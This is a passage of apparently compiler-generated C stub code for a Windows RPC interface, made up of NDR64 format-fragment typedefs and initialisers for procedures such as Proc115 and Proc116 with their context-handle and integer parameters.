frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    NDR64_UINT32 frag9;\n}\n__midl_frag190_t;\nextern const __midl_frag190_t __midl_frag190;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag189_t;\nextern const __midl_frag189_t __midl_frag189;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag185_t;\nextern const __midl_frag185_t __midl_frag185;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag169_t;\nextern const __midl_frag169_t __midl_frag169;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag167_t;\nextern const __midl_frag167_t __midl_frag167;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag160_t;\nextern const __midl_frag160_t __midl_frag160;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag157_t;\nextern const __midl_frag157_t __midl_frag157;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag156_t;\nextern const __midl_frag156_t __midl_frag156;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag153_t;\nextern const __midl_frag153_t __midl_frag153;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag152_t;\nextern const __midl_frag152_t __midl_frag152;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag148_t;\nextern const __midl_frag148_t __midl_frag148;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag147_t;\nextern const __midl_frag147_t __midl_frag147;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag146_t;\nextern const __midl_frag146_t __midl_frag146;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag145_t;\nextern const __midl_frag145_t __midl_frag145;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag142_t;\nextern const __midl_frag142_t __midl_frag142;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag141_t;\nextern const __midl_frag141_t __midl_frag141;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag138_t;\nextern const __midl_frag138_t __midl_frag138;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag137_t;\nextern const __midl_frag137_t __midl_frag137;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        struct _NDR64_NO_REPEAT_FORMAT frag10;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11;\n        struct _NDR64_POINTER_FORMAT frag12;\n        struct _NDR64_NO_REPEAT_FORMAT frag13;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag14;\n        struct _NDR64_POINTER_FORMAT frag15;\n        struct _NDR64_NO_REPEAT_FORMAT frag16;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag17;\n        struct _NDR64_POINTER_FORMAT frag18;\n        struct _NDR64_NO_REPEAT_FORMAT frag19;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag20;\n        struct _NDR64_POINTER_FORMAT frag21;\n        struct _NDR64_NO_REPEAT_FORMAT frag22;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag23;\n        struct _NDR64_POINTER_FORMAT frag24;\n        struct _NDR64_NO_REPEAT_FORMAT frag25;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag26;\n        struct _NDR64_POINTER_FORMAT frag27;\n        struct _NDR64_NO_REPEAT_FORMAT frag28;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag29;\n        struct _NDR64_POINTER_FORMAT frag30;\n        struct _NDR64_NO_REPEAT_FORMAT frag31;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag32;\n        struct _NDR64_POINTER_FORMAT frag33;\n        NDR64_FORMAT_CHAR frag34;\n    } frag2;\n}\n__midl_frag123_t;\nextern const __midl_frag123_t __midl_frag123;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag122_t;\nextern const __midl_frag122_t __midl_frag122;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag121_t;\nextern const __midl_frag121_t __midl_frag121;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag117_t;\nextern const __midl_frag117_t __midl_frag117;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag116_t;\nextern const __midl_frag116_t __midl_frag116;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag113_t;\nextern const __midl_frag113_t __midl_frag113;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag112_t;\nextern const __midl_frag112_t __midl_frag112;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag110_t;\nextern const __midl_frag110_t __midl_frag110;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag109_t;\nextern const __midl_frag109_t __midl_frag109;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag105_t;\nextern const __midl_frag105_t __midl_frag105;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag97_t;\nextern const __midl_frag97_t __midl_frag97;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag96_t;\nextern const __midl_frag96_t __midl_frag96;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag95_t;\nextern const __midl_frag95_t __midl_frag95;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n}\n__midl_frag90_t;\nextern const __midl_frag90_t __midl_frag90;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag78_t;\nextern const __midl_frag78_t __midl_frag78;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n}\n__midl_frag75_t;\nextern const __midl_frag75_t __midl_frag75;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag32;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag33;\n    } frag2;\n}\n__midl_frag64_t;\nextern const __midl_frag64_t __midl_frag64;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag63_t;\nextern const __midl_frag63_t __midl_frag63;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag62_t;\nextern const __midl_frag62_t __midl_frag62;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag61_t;\nextern const __midl_frag61_t __midl_frag61;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_MEMPAD_FORMAT frag32;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag33;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag34;\n    } frag2;\n}\n__midl_frag49_t;\nextern const __midl_frag49_t __midl_frag49;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag48_t;\nextern const __midl_frag48_t __midl_frag48;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n}\n__midl_frag47_t;\nextern const __midl_frag47_t __midl_frag47;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_MEMPAD_FORMAT frag22;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n    } frag2;\n}\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag39_t;\nextern const __midl_frag39_t __midl_frag39;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag37_t;\nextern const __midl_frag37_t __midl_frag37;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag36_t;\nextern const __midl_frag36_t __midl_frag36;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag35_t;\nextern const __midl_frag35_t __midl_frag35;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag32_t;\nextern const __midl_frag32_t __midl_frag32;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag17_t;\nextern const __midl_frag17_t __midl_frag17;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag2_t;\nextern const __midl_frag2_t __midl_frag2;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag1091_t __midl_frag1091 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1089_t __midl_frag1089 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag1088_t __midl_frag1088 =\n{ \n/* Proc116 */\n    { \n    /* Proc116 */      /* procedure Proc116 */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_0 */      /* parameter arg_0 */\n        &__midl_frag1089,\n        { \n        /* arg_0 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag1091,\n        { \n        /* arg_1 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag1091,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1087_t __midl_frag1087 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1086_t __midl_frag1086 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag1085_t __midl_frag1085 =\n{ \n/* *__int3264 */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1086\n};\n\nstatic const __midl_frag1084_t __midl_frag1084 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag1083_t __midl_frag1083 =\n{ \n/* Proc115 */\n    { \n    /* Proc115 */      /* procedure Proc115 */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_0 */      /* parameter arg_0 */\n        &__midl_frag1084,\n        { \n        /* arg_0 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag1086,\n        { \n        /* arg_1 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag1087,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n   